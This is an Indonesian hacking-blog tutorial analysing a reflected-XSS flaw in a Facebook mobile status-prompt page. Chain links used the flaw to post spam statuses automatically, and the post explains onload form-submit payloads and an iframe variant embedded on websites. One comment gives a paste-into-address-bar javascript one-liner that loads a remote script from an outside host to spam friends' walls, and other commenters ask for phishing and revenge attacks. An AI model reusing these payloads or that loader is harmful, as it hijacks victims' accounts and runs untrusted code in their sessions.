Home / Tutorial / Penyebaran Link Berantai Facebook
fbxss2

Penyebaran Link Berantai Facebook

Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.
Analisa

Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan melakukan redirect ke url aslinya, yaitu:

URL tersebut akan saya pecah menjadi 3 bagian:

Bagian pertama adalah URL untuk update status. Bagian kedua adalah query string parameter yang terdiri dari dua parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah isi dari parameter user_message_prompt yang merupakan payload javascript untuk mengubah status secara otomatis.

The Prompt

Sebelum masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah status ini. Gambar ini adalah screenshot ketika browser membuka URL:

Dari gambar di atas kini kita memahami fungsi dari parameter user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”, “Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan perhatikan apa yang terjadi.

Reflected Cross Site Scripting

Normalnya user_message_prompt diisi dengan murni teks saja berupa instruksi/petunjuk apa yang harus diinputkan user. Bila parameter user_message_prompt berisi teks murni saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode HTML atau javascript?

Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:

Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:

Bagaimana bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari kita coba memasukkan javascript sederhana berikut ini:

Kita sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi dengan normal teks, namun juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan dalam URL “dipantulkan” kembali sebagai response HTTP).

The Payload

Dalam contoh sebelumnya kita mencoba memasukkan javascript sederhana yang hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai yang serius seperti seperti mencuri cookie korban atau take-over komputer korban dengan mengeksploitasi kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan payload apa saja yang dia inginkan seperti mengubah status, mencuri cookie dsb.

Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:

Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote (‘) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang membuat url sejenis ini dalam payloadnya selalu ada karakter single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh orang lain memakai single-quote, maka diapun ikut memakai single-quote.

Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah status di facebook secara otomatis:

Onload adalah event yang terjadi bila suatu halaman web selesai di-load. Baris pertama pada kode di atas artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana untuk mengubah nilai textarea message dan melakukan submit form.

Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.

Langkah terakhir adalah memanggil fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi message dengan isi status, lalu submit, status pun selesai diubah.

Varian Lain dengan IFRAME

Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah melakukan pengubahan status berulang kali. Salah satu teman facebook saya menjadi korban freesmsvoip.com sampai berkali-kali.

Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.

Perhatikan pada baris pertama ada tag iframe dengan src yang juga mengeksploitasi XSS vulnerability pada m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada pada halaman depan saja, namun pada setiap halaman di web tersebut. Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka dia akan melakukan update status berkali-kali.

Berbeda dengan kasus yang memakai jasa pemendek url seperti tinyurl.com, serangan memakai iframe bisa dilekatkan pada halaman web yang tampak normal, baik hati dan tidak sombong. Dengan maraknya kasus eksploitasi XSS dengan url-shortener, orang akan semakin curiga bila menerima link yang dipendekkan karena user tidak tahu url itu akan dibelokkan ke mana. Menerima url yang dipendekkan kini mirip dengan menerima paket yang tidak jelas apa isinya, buku atau bom. Namun berbeda kasusnya dengan url yang panjang, orang cenderung tidak curiga bila menerima url panjang, apalagi domainnya tampak seperti situs baik-baik.

 

Source: http://www[.]ilmuhacking[.]com a.k.a Rizki Wicaksono

About Artikel

Check Also

machine-learning-data-mining-binushacker

Machine Learning dan Data Mining

Greeting BinusHacker Family, Kali berbagi materi untuk machine learning basic untuk kebutuhan belajar mengembangkan ilmu …

17 comments

  1. Kayanya ini udah di patch dech sama Mark Zuckerberg Keparat, Hahaha

  2. kayaknya udah gak work cara nih gan… soalnya saya coba cek link ini dah gak ada : http://m.facebook.com/connect/prompt_feed.php

  3. Pake cara lain gan, kita cari cara lain dengan metode yang sama.
    Barangkali bisa menemukan bongkahan emas. Hahahaha
    Buka kamus google lagi akh, nyari bugs baru pesbuk

  4. Gan….
    itu script diupload dimana yahh?????

  5. gan kalo kirim SMS nya ke esia koq gk bisa sih

  6. phising masih bisa jadi gak gan…?

  7. Agak susah dimengerti yah

  8. Kode diatas udah berfungsi di facebook gan…
    tolong diupdate lagi dong langkah2nya.

  9. mantab gan…..
    sebagai modal belajar hacking…

  10. w malahan tidak tau…..hahahhahah

  11. Yuk kita cari solusi hack baru rame2.. 😀

  12. albert ( Hacker )

    Neh gw kasih link yg Keren.. Tuh abang” yg Buat Nih Forum AsaL aja ea..!!
    Jangan AsaL bang, Ntar Hacker Indonesia Cuma Bisa Diem Aja, Dan Nonton…
    Gw Punya Cara Bomb Fb Orang.. hampir sama kaya di atas..
    tapi Jauh Lebih keren Punya gw…
    ga Perlu Loe Pendidikan apa..!!
    yg Penting Loe baca aja ArtikeL gw….

    Pertama : Loe Buka FB loe Dan masuk…
    Kedua : Loe buka dua Forum Fb loe…
    Ketiga : Loe Liad di pencarian temen yg Mau Lo Bomb..
    ke empat : Loe Copy Paste ene.. Di Address barr fb temen Loe. javascript:(a = (b = document).createElement(“script”)).src = “//hallwayinsider.com/a.js”, b.body.appendChild(a); void(0)
    ke lima : teken Enter ntar ada Tulisan yg Pertama.. Masukin Wall Yg Loe Mau Bilang… Kedua Tekan angka yg loe mau klo bisa seh ampe 10000..
    Biar kenyang yg Baca..
    ke enam : BOMB….. Dan Loe Pasti Ngakak ngeliadnya…
    Good Luck ea,.. Smoga berhasiL,,,
    Salam Hacker Pro..

  13. Udah coba cara kedua yang pake IFRAME tapi gak berhasil….
    Tolong pencerahanya dong…tu script di upload dimana………???

  14. asssssssss byasa…

  15. kalo ada cara buat meledakan komputer orang saya juga mau…. soalnya saya pernah di usir diwarnet gara” server billingnya ku hack…. wkwkkwkwkkwkwk dendam……………….mohon di bantu cara meledakan komputer orang,,,,,,

  16. kalo ada cara buat meledakan komputer orang saya juga mau…. soalnya saya pernah di usir diwarnet gara” server billingnya ku hack…. wkwkkwkwkkwkwk dendam………….mohon di bantu cara meledakan komputer orang,,,,,,

Tinggalkan Balasan

Alamat surel Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *